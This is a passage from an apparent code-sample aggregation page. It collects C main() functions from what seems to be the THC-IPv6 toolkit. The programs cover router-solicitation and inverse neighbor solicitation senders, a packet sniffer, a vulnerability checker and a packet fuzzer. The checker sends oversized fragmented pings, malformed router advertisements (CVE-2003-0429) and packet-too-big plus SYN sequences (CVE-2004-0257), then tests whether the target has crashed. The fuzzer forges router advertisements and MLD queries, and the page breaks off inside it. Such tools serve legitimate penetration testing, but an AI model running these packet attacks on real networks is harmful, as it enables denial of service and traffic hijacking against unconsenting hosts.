Exemplo n.º 1
0
int main(int argc, char *argv[]) {
    char *interface, string[] = "ip6 and icmp6";
    unsigned char *mac6, buf[512];
    unsigned char *dst = thc_resolve6("ff02::2");
    int i;
    unsigned char *pkt = NULL;
    int pkt_len = 0;
    int rawmode = 0;
    pcap_t *p;

    if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
        help(argv[0]);

    while ((i = getopt(argc, argv, "r")) >= 0) {
        switch (i) {
        case 'r':
            thc_ipv6_rawmode(1);
            rawmode = 1;
            break;
        default:
            fprintf(stderr, "Error: invalid option %c\n", i);
            exit(-1);
        }
    }

    interface = argv[optind];
    if ((mac6 = thc_get_own_mac(interface)) == NULL) {
        fprintf(stderr, "Error: invalid interface %s\n", interface);
        exit(-1);
    }
    if (argc - optind > 1 && argv[optind + 1] != NULL)
        dst = thc_resolve6(argv[optind + 1]);

    memset(buf, 0, sizeof(buf));
    buf[0] = 1;
    buf[1] = 1;
    memcpy(buf + 2, mac6, 6);
    i = 8;
    memset(seen, 0, sizeof(seen));

    if ((p = thc_pcap_init(interface, string)) == NULL) {
        fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
        exit(-1);
    }

    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, NULL, dst, 255, 0, 0, 0xe0, 0)) == NULL)
        return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERSOL, 0, 0, buf, i, 0) < 0)
        return -1;
    if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0)
        return -1;

    signal(SIGALRM, clean_exit);
    alarm(5);
    while (1) {
        while (thc_pcap_check(p, (char *) dump_ra_reply, NULL) > 0);
        usleep(100);
    }
    return 0;
}
Exemplo n.º 2
0
int main(int argc, char *argv[]) {
    unsigned char *pkt1 = NULL, buf[24];
    unsigned char *dst6 = NULL, *smac, dstmac[16] = "", *dmac = dstmac;
    int pkt1_len = 0;
    char *interface, string[64] = "icmp6";
    pcap_t *p;

    memset(buf, 0, sizeof(buf));

    if (argc != 3 || strncmp(argv[1], "-h", 2) == 0)
        help(argv[0]);

    if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);

    interface = argv[1];

    sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *) &dmac[0], (unsigned int *) &dmac[1],
           (unsigned int *) &dmac[2], (unsigned int *) &dmac[3], (unsigned int *) &dmac[4], (unsigned int *) &dmac[5]);

    mac = argv[2];
    if ((smac = thc_get_own_mac(interface)) == NULL) {
        fprintf(stderr, "Error: invalid interface %s\n", interface);
        exit(-1);
    }
    dst6 = thc_resolve6("ff02::1");

    if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt1_len, NULL, dst6, 255, 0, 0, 0, 0)) == NULL)
        return -1;
    memset(buf, 0, sizeof(buf));
    buf[0] = 0x01;
    buf[1] = 0x01;
    memcpy(buf + 2, smac, 6);
    buf[8] = 0x02;
    buf[9] = 0x01;
    memcpy(buf + 10, dmac, 6);
    if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_INVNEIGHBORSOL, 0, 0, (unsigned char *) &buf, 16, 0) < 0)
        return -1;
    if (thc_generate_pkt(interface, smac, dmac, pkt1, &pkt1_len) < 0) {
        fprintf(stderr, "Error: Can not generate packet, exiting ...\n");
        exit(-1);
    }

    if ((p = thc_pcap_init(interface, string)) == NULL) {
        fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
        exit(-1);
    }
    printf("Sending inverse packet for %s\n", argv[1]);
    thc_send_pkt(interface, pkt1, &pkt1_len);
    sleep(1);
    while (thc_pcap_check(p, (char *) check_packets, NULL));
    return 0;                     // never reached
}
Exemplo n.º 3
0
int main(int argc, char *argv[]) {
    char *interface;
    pcap_t *p;
    int i;

    if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
        help(argv[0]);

    while ((i = getopt(argc, argv, "rk:")) >= 0) {
        switch (i) {
        case 'r':
            rawmode = 1;
            thc_ipv6_rawmode(1);
            break;
        case 'k':
            key = optarg;
            break;
        default:
            fprintf(stderr, "Unknown option\n");
            exit(-1);
        }
    }

    interface = argv[optind];
    if ((f = fopen(argv[optind + 1], "w")) == NULL) {
        fprintf(stderr, "Error: file %s cout not be created\n", argv[optind + 1]);
        exit(-1);
    }

    if (key != NULL) {
        memset(&bfkey, 0, sizeof(bfkey));
        SHA1((unsigned char *) key, strlen(key), (unsigned char *) hash);
        BF_set_key(&bfkey, sizeof(hash), (unsigned char *) hash);
        memset(vec, 0, sizeof(vec));
        num = 0;
    }

    if ((p = thc_pcap_init(interface, "ip6")) == NULL) {
        fprintf(stderr, "Error: could not capture on interface %s\n", interface);
        exit(-1);
    }

    while (1) {
        thc_pcap_check(p, (char *) check_packets, NULL);
        usleep(50);
    }

    return 0;
}
Exemplo n.º 4
0
int main(int argc, char *argv[]) {
  int test = 0, count = 1, tmplen;
  unsigned char buf[1500], bla[1500], tests[256], string[64] = "ip6 and dst ", string2[64] = "ip6 and src ";
  unsigned char *dst6, *ldst6 = malloc(16), *src6, *lsrc6, *mcast6, *route6, *mal;
  unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6];
  thc_ipv6_hdr *hdr;
  int i = 0, j, srcmtu, fragsize, offset = 14;
  pcap_t *p;
  unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL;
  int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0, mtu = 1500;
  char *interface;
  thc_ipv6_hdr *ipv6;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }
  if (strcmp(argv[1], "-p") == 0) {
    noping = 1;
    argv++;
    argc--;
  }
  
  if (do_hdr_size)
    offset = do_hdr_size;

  interface = argv[1];
  dst6 = thc_resolve6(argv[2]);
  route6 = thc_resolve6("2a01::");
  memcpy(ldst6, dst6, 16);
  memset(ldst6 + 2, 0, 6);
  ldst6[0] = 0xfe;
  ldst6[1] = 0x80;
  mcast6 = thc_resolve6("ff02::1");
  if (argc >= 4)
    test = atoi(argv[3]);
  memset(buf, 0, sizeof(buf));
  memset(null_buffer, 0, sizeof(null_buffer));

  src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
  if ((lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK)) == NULL) {
    fprintf(stderr, "Error: invalid interface %s\n", interface);
    exit(-1);
  }
  strcat(string, thc_ipv62notation(src6));
  strcat(string2, thc_ipv62notation(dst6));
  srcmac = thc_get_own_mac(interface);
  if (rawmode == 0) {
    if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) {
      fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
      exit(-1);
    }
  } else
    dstmac = null_buffer;
  if ((srcmtu = thc_get_mtu(interface)) <= 0) {
    fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface);
    exit(-1);
  }
  if (do_hdr_size)
    srcmtu -= (do_hdr_size - 14);
  fragsize = ((srcmtu - 62) / 8) * 8;

  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }

  setvbuf(stdout, NULL, _IONBF, 0);
  memset(tests, 0, sizeof(tests));

  printf("Performing vulnerability checks on %s via %s:\n", argv[2], argv[1]);
  if (noping == 0 && check_alive(p, interface, src6, dst6) == 0) {
    fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[2]);
    exit(-1);
  } else
    printf("Test  0: normal ping6\t\t\t\tPASSED - we got a reply\n");

  /********************** TEST CASES ************************/

  if (test == 0 || test == count) {     // 1432
    printf("Test %2d: CVE-NONE overlarge ping, 6 checksum combinations\n", count);
    tmplen = 65864;
    if ((mal = malloc(tmplen)) == NULL)
      return -1;
    memset(mal, count % 256, tmplen);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    hdr = (thc_ipv6_hdr *) pkt;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    // because of the different possible checksum calculations we have to do them all
    hdr->pkt[offset + 40 + 3] = 0xe5;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    hdr->pkt[offset + 40 + 2] = 0x98;
    hdr->pkt[offset + 40 + 3] = 0xa4;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    hdr->pkt[offset + 40 + 3] = 0xa3;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    hdr->pkt[offset + 40 + 2] = 0x84;
    hdr->pkt[offset + 40 + 3] = 0x90;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    hdr->pkt[offset + 40 + 3] = 0x8f;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    free(mal);
    pkt = thc_destroy_packet(pkt);
  }
  count++;

  if (test == 0 || test == count) {     // 1432
    printf("Test %2d: CVE-NONE large ping, 3 checksum combinations\n", count);
    tmplen = 65527;
    if ((mal = malloc(tmplen)) == NULL)
      return -1;
    memset(mal, count % 256, tmplen);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    hdr = (thc_ipv6_hdr *) pkt;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    // because of the different possible checksum calculations we have to do them all
    hdr->pkt[offset + 40 + 2] = 0x31;
    hdr->pkt[offset + 40 + 3] = 0x8c;
    thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize);
    hdr->pkt[offset + 40 + 3] = 0x8a;
    thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize);
    free(mal);
    pkt = thc_destroy_packet(pkt);
  }
  count++;

  if (test == 0 || test == count) {
    printf("Test %2d: CVE-2003-0429 bad prefix length (little information, implementation unsure\n", count);
    memset(bla, count % 256, sizeof(bla));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    memset(buf, 0, sizeof(buf));
    buf[6] = 4;                 // 4-7: retrans timer
    // option mtu
    buf[8] = 5;
    buf[9] = 1;
    buf[12] = mtu / 16777216;
    buf[13] = (mtu % 16777216) / 65536;
    buf[14] = (mtu % 65536) / 256;
    buf[15] = mtu % 256;
    // option prefix
    buf[16] = 3;
    buf[17] = 4;
    buf[18] = 128;              // prefix length // BUG IS HERE
    buf[19] = 128 + 64;
    memset(&buf[20], 17, 4);
    memset(&buf[24], 4, 4);
    memcpy(&buf[32], route6, 16);
    i += 28;
    // mac address option
    buf[i++] = 1;
    buf[i++] = 1;
    memcpy(buf + i, srcmac, 6);
    i += 6;
    // default route routing option
    buf[i++] = 0x18;            // routing entry option type
    buf[i++] = 0x03;            // length 3 == 24 bytes
    buf[i++] = 0x00;            // prefix length
    buf[i++] = 0x08;            // priority, highest of course
    i += 2;                     // 52-53 unknown
    buf[i++] = 0x11;            // lifetime, word
    buf[i++] = 0x11;            // lifetime, word
    i += 16;                    // 56-71 address, all zeros for default
    thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    pkt = thc_destroy_packet(pkt);
  }
  count++;

  if (test == 0 || test == count) {
    printf("Test %2d: CVE-2004-0257 ping, send toobig on reply, then SYN pkt\n", count);
    memset(bla, count % 256, sizeof(bla));
    memset(buf, 0, sizeof(buf));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 64, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *) &bla, 68, 0) < 0)
      return -1;
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    ipv6 = (thc_ipv6_hdr *) pkt;
    thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset);
    sleep(1);
    thc_toobig6(interface, src6, srcmac, dstmac, 68, ipv6->pkt + offset, ipv6->pkt_len - offset);
    i = 0;
    while (ports[i] != 0) {
      if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
        return -1;
      if (thc_add_tcp(pkt, &pkt_len, 1100 + i * 100, ports[i], i * 1000, 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0) < 0)
        return -1;
      if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
        return -1;
      pkt = thc_destroy_packet(pkt);
      pkt_len = 0;
      i++;
    }
  }
  count++;

/*
  if (test == 0 || test == count) {
    printf("Test %2d: CVE-20\n", count);
    memset(bla, count % 256, sizeof(bla));
    memset(buf, 0, sizeof(buf));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    buf[0] = 0;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    pkt = thc_destroy_packet(pkt);
  }
  count++;

  if (test == 0 || test == count) {
    printf("Test %2d: CVE-20\n", count);
    memset(bla, count % 256, sizeof(bla));
    memset(buf, 0, sizeof(buf));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    buf[0] = 0;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    pkt = thc_destroy_packet(pkt);
  }
  count++;
*/
/*
  if (test == 0 || test == count) {
    printf("Test %2d: CVE-20\n", count);
    memset(bla, count%256, sizeof(bla));
    memset(buf, 0, sizeof(buf));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    buf[0] = 0;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    pkt = thc_destroy_packet(pkt);
  }
  count++;
*/

  // more?

  /******************* END OF TESTCASES ***************************/

  if (noping == 1 || check_alive(p, interface, src6, dst6))
    printf("Test %2d: normal ping6 (still alive?)\t\tPASSED - we got a reply\n", count);
  else
    printf("Test %2d: normal ping6 (still alive?)\t\tFAILED - target is unavailable now!\n", count);

  thc_pcap_close(p);

  return 0;
}
Exemplo n.º 5
0
int main(int argc, char *argv[]) {
  unsigned char *pkt = NULL, *pkt_bak, *mcast6, *someaddr6 = NULL;
  unsigned char *dst6, *src6 = NULL, *mac = NULL, *routers[2], string[64] = "ip6 and dst ";
  int test_start = 0, fragment = 0, alert = 0, sroute = 0;
  int do_type = DO_PING, do_alive = 1, hopbyhop = 0, destination = 0, jumbo = 0;
  int pkt_len = 0, offset = 0, test_current = 0, i, j, k, do_fuzz = 1, test_ptr = 0;
  int test_end = TEST_MAX, ping = NEVER, frag_offset = 0, header = 0, no_send = 1;
  int test_pos = 0, test_cnt = 0, do_it, extend = 0, mtu = 1500, size = 64, wait = 0, off2 = 14;
  char *interface, fuzzbuf[256], *srcmac, *dns, *route6, *real_dst6 = NULL;
  unsigned char buf[256], buf2[100], buf3[16];
  unsigned short int *sip;
  pcap_t *p;
  thc_ipv6_hdr *hdr;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  while ((i = getopt(argc, argv, "s:0123456789Xxt:T:p:FSDHRIJan:")) >= 0) {
    switch (i) {
    case 's':
      do_type = DO_TCP;
      port = atoi(optarg);
      break;
    case '0':
      do_type = DO_NODEQUERY;
      break;
    case '1':
      do_type = DO_PING;
      break;
    case '2':
      do_type = DO_NEIGHSOL;
      break;
    case '3':
      do_type = DO_NEIGHADV;
      break;
    case '4':
      do_type = DO_RA;
      break;
    case '5':
      do_type = DO_MLD_REP;
      break;
    case '6':
      do_type = DO_MLD_DONE;
      break;
    case '7':
      do_type = DO_MLD_QUERY;
      wait = 0xff0000;
      break;
    case '8':
      do_type = DO_MLD2_REPORT;
      break;
    case '9':
      do_type = DO_MLD2_QUERY;
      wait = 0xff0000;
      break;
    case 'X':
      do_type = DO_NONE;
      break;
    case 't':
      test_start = atoi(optarg);
      break;
    case 'T':
      test_end = test_start = atoi(optarg);
      break;
    case 'p':
      ping = atoi(optarg);
      break;
    case 'a':
      do_alive = 0;
      break;
    case 'S':
      sroute = 1;
      break;
    case 'n':
      no_send = atoi(optarg);
      break;
    case 'F':
      fragment = 1;
      break;
    case 'R':
      alert = 1;
      break;
    case 'D':
      destination = 1;
      break;
    case 'H':
      hopbyhop = 1;
      break;
    case 'J':
      jumbo = 1;
      break;
    case 'I':
      header = 1;
      break;
    case 'x':
      extend = 1;
      break;
    }
  }
  if (argc - optind < 2) {
    fprintf(stderr, "ERROR: not enough options, interface and target address are required!\n");
    exit(-1);
  }
  interface = argv[optind];
  if ((srcmac = thc_get_own_mac(interface)) == NULL) {
    fprintf(stderr, "ERROR: %s is not a valid interface which has a MAC, use raw mode?\n", interface);
    exit(-1);
  }
  if (no_send < 1) {
    fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n");
    exit(-1);
  }
  if (do_hdr_size) {
    test_pos -= do_hdr_size;
    offset -= do_hdr_size;
    off2 = do_hdr_size;
  }
  if (do_type != DO_PING && do_type != DO_TCP && do_type != DO_NONE) {
    if ((mcast6 = thc_resolve6(argv[optind + 1])) == NULL) {
      fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]);
      exit(-1);
    }

    if (do_type == DO_NEIGHSOL) {
      dst6 = thc_resolve6("ff02::0001:ff00:0000");
      memcpy(dst6 + 13, mcast6 + 13, 3);
    } else
      dst6 = thc_resolve6("ff02::1");
  } else {
    dst6 = thc_resolve6(argv[optind + 1]);
  }
  if (argv[optind + 1] != NULL)
    if ((real_dst6 = thc_resolve6(argv[optind + 1])) == NULL) {
      fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]);
      exit(-1);
    }


  if (interface == NULL || argv[optind + 1] == NULL) {
    printf("Error: interface and target-ipv6-address are mandatory command line options\n");
    exit(-1);
  }
  if (ping < 1 || test_end < test_start) {
    printf("don't f**k up the command line options!\n");
    exit(-1);
  }
  if (argv[optind + 2] != NULL)
    someaddr6 = thc_resolve6(argv[optind + 2]);
  if (argc - optind > 3) {
    printf("Error: too many command line options\n");
    exit(-1);
  }
  if ((mac = thc_get_mac(interface, src6, dst6)) == NULL) {
    fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
    exit(-1);
  }

  if (do_type == DO_PING || do_type == DO_TCP || do_type == DO_NONE)
    src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
  else
    src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK);
  if (src6 == NULL) {
    fprintf(stderr, "Error: no IPv6 address configured on interface %s\n", interface);
    exit(-1);
  }
  strcat(string, thc_ipv62notation(src6));
  if (sroute) {
    if (someaddr6 != NULL)
      routers[0] = someaddr6;
    else
      routers[0] = dst6;
    routers[1] = NULL;
  }
  setvbuf(stdout, NULL, _IONBF, 0);
  memset(buf, 0, sizeof(buf));
  memset(buf2, 0, sizeof(buf2));
  dns = thc_resolve6("ff02::fb");
  route6 = thc_resolve6("2a01::");

  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }
  if (real_dst6 != NULL && real_dst6[0] == 0xff)
    do_alive = 0;
  // ping before to check if it works
  if (do_alive)
    if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) {
      // fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[optind + 1]);
      // exit(-1);
    }
  // generate basic packet
  strcpy(fuzzbuf, fuzztype_ether);
  if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
    return -1;
  if (header)
    strcat(fuzzbuf, fuzztype_ip6);
  else
    strcat(fuzzbuf, fuzztype_ip6no);

  if (alert || hopbyhop || jumbo) {
    memset(buf2, 0, sizeof(buf2));
    i = 0;

    if (alert) {
      buf2[i++] = 5;
      buf2[i++] = 2;
      i += 2;
      strcat(fuzzbuf, ".F.F");
    }

    if (jumbo) {
      buf2[i++] = 0xc2;
      buf2[i++] = 4;
      buf2[i++] = 'J';          // lookup code
      buf2[i++] = 'J';
      buf2[i++] = 'J';
      buf2[i++] = 'J';
      strcat(fuzzbuf, ".FBBBB");
    }

    if (hopbyhop) {
      memset(buf3, 0, sizeof(buf3));
      buf3[0] = 'X';
      buf3[1] = '.';
      for (j = 0; j < 10; j++) {
        buf2[i++] = 1;          // PadN, length
        buf2[i++] = j;
        if (j > 0) {
          memset(buf2 + i, 0xaa, j);
          buf3[2 + j] = '.';
          i += j;
        }
        strcat(fuzzbuf, buf3);  // always: X... for every new option
      }
    }

    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, i) < 0)
      return -1;

    i += 2;
    if (i % 8 > 0)
      i = ((i / 8) + 1) * 8;

    offset += i;
  }

  if (sroute) {
    if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0)
      return -1;
    else {
      strcat(fuzzbuf, "FFFFBBBB................");
      offset += 24;
    }
  }

  if (fragment) {
    frag_offset = offset;
    if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, 0) < 0)
      return -1;
    else {
      strcat(fuzzbuf, "FFWW..");
      offset += 8;
    }
  }

  if (destination) {
    memset(buf2, 0, sizeof(buf2));
    memset(buf3, 0, sizeof(buf3));
    buf3[0] = 'X';
    buf3[1] = '.';
    i = 0;
    for (j = 0; j < 10; j++) {
      buf2[i++] = 1;            // PadN, length
      buf2[i++] = j;
      if (j > 0) {
        memset(buf2 + i, 0xaa, j);
        buf3[2 + j] = '.';
        i += j;
      }
      strcat(fuzzbuf, buf3);    // always: X... for every new option
    }

    if (thc_add_hdr_dst(pkt, &pkt_len, buf2, i) < 0)
      return -1;

    i += 2;
    if (i % 8 > 0)
      i = ((i / 8) + 1) * 8;

    offset += i;
  }

  memset(buf, 0, sizeof(buf));
//  if (header)
    strcat(fuzzbuf, fuzztype_icmp6);
//  else
//    strcat(fuzzbuf, fuzztype_icmp6no);
  switch (do_type) {
  case DO_TCP:
    // tcp options
    buf[0] = 2; // max segment size
    buf[1] = 4;
    buf[2] = 255;
    buf[3] = 255;
    buf[4] = 3; // windows size
    buf[5] = 3;
    buf[6] = 62;
    buf[7] = 1; // padding
    buf[8] = 8; // timestamp
    buf[9] = 10;
    buf[10] = time(NULL) / 16777216;
    buf[11] = ((time(NULL) / 65536) % 256);
    buf[12] = ((time(NULL) / 256) % 256);
    buf[13] = time(NULL) % 256;
    // 4 bytes ack tstamp 00000000
    // rest is padding (2 bytes)
    if (thc_add_tcp(pkt, &pkt_len, 65532, port, test_current, 0, TCP_SYN, 5760, 0, (unsigned char *) buf, 20, (unsigned char *) buf, 20) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_tcp);
    break;

  case DO_PING:
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, test_current, (unsigned char *) &buf, 16, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6ping);
    break;
    
  case DO_NONE:
    // empty
    break;

  case DO_NEIGHSOL:
    if (someaddr6 != NULL)
      memcpy(buf, someaddr6, 16);
    else
      memcpy(buf, mcast6, 16);
    buf[16] = 1;
    buf[17] = 1;
    memcpy(buf + 18, srcmac, 6);
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *) &buf, 24, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6ns);
    break;

  case DO_NEIGHADV:
    if (someaddr6 != NULL)
      memcpy(buf, someaddr6, 16);
    else
      memcpy(buf, src6, 16);
    buf[16] = 2;
    buf[17] = 1;
    memcpy(buf + 18, srcmac, 6);
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, 0xe0000000, (unsigned char *) &buf, 24, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6na);
    break;
    
  case DO_NODEQUERY:
    memcpy(buf + 8, real_dst6, 16);
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NODEQUERY, 0, 0x0003003e, (unsigned char *) &buf, 24, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6nq);
    break;    

  case DO_RA:
    //  buf[3] = 250; // 0-3: reachable timer
    buf[6] = 4;                 // 4-7: retrans timer
    // option mtu
    buf[8] = 5;
    buf[9] = 1;
    buf[12] = mtu / 16777216;

    buf[14] = (mtu % 65536) / 256;
    buf[15] = mtu % 256;
    // option prefix
    buf[16] = 3;
    buf[17] = 4;
    buf[18] = size;             // prefix length
    buf[19] = 128 + 64;
    memset(&buf[20], 17, 4);
    memset(&buf[24], 4, 4);
    if (someaddr6 != NULL)
      memcpy(&buf[32], someaddr6, 16);
    else
      memcpy(&buf[32], route6, 16);

    i = 48;
    // mac address option
    buf[i++] = 1;
    buf[i++] = 1;
    memcpy(buf + i, srcmac, 6);
    i += 6; // = 8 == 56

    // default route routing option
    buf[i++] = 0x18;            // routing entry option type
    buf[i++] = 0x03;            // length 3 == 24 bytes
    buf[i++] = 64;            // prefix length /64
    buf[i++] = 0x08;            // priority, highest of course
    i += 2;                     // 52-53 unknown
    buf[i++] = 0x11;            // lifetime, word
    buf[i++] = 0x11;            // lifetime, word
    buf[i++] = 0x20;
    buf[i++] = 4;               // 56-71 address, 2004:: for default
    i += 14; // = 24 == 70               

    // dns option
    buf[i++] = 0x19;            // dns option type
    buf[i++] = 0x03;            // length
    i += 2;                     // 74-75 reserved
    memset(buf + i, 1, 4);      // validity time
    i += 4;
    if (someaddr6 != NULL)
      memcpy(buf + i, someaddr6, 16);   // dns server
    else
      memcpy(buf + i, dns, 16); // dns server
    i += 16; // = 24 == 94

    // seachlist option
    buf[i++] = 31;
    buf[i++] = 4;
    i += 2;
    memset(buf + i, 1, 4);      // validity time
    i += 4;
    buf[i++] = 3;
    memcpy(buf + i, "foo", 3);
    i += 3;
    buf[i++] = 4;
    memcpy(buf + i, "corp", 4);
    i += 5; // + null byte
    buf[i++] = 5;
    memcpy(buf + i, "local", 5);
    i += 5;
    buf[i++] = 6;
    memcpy(buf + i, "domain", 6);
    i += 7; // + null byte
    // = 32 == 126
    
    // flag extension option
    buf[i++] = 26;
    buf[i++] = 1;
    buf[i++] = 0x08;
    i += 5;

    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6ra);
    break;

  case DO_MLD_QUERY:
  case DO_MLD_DONE:
  case DO_MLD_REP:
    buf[0] = 0xff;
    buf[1] = 0x02;
    buf[15] = 0x05;
    if (someaddr6 != NULL)
      memcpy(buf, someaddr6, 16);
    if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, wait, buf, 16, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6mld);
    break;
  case DO_MLD2_QUERY:
    buf[0] = 0xff;
    buf[1] = 0x02;
    buf[15] = 0x05;
    if (someaddr6 != NULL)
      memcpy(buf, someaddr6, 16);
    buf[16] = 7;
    buf[17] = 120;
    buf[19] = 3;
    memcpy(buf + 20, dst6, 16);
    memcpy(buf + 36, buf, 16);
    if (thc_add_icmp6(pkt, &pkt_len, DO_MLD_QUERY, 0, wait, buf, 68, 0) < 0)
      return -1;
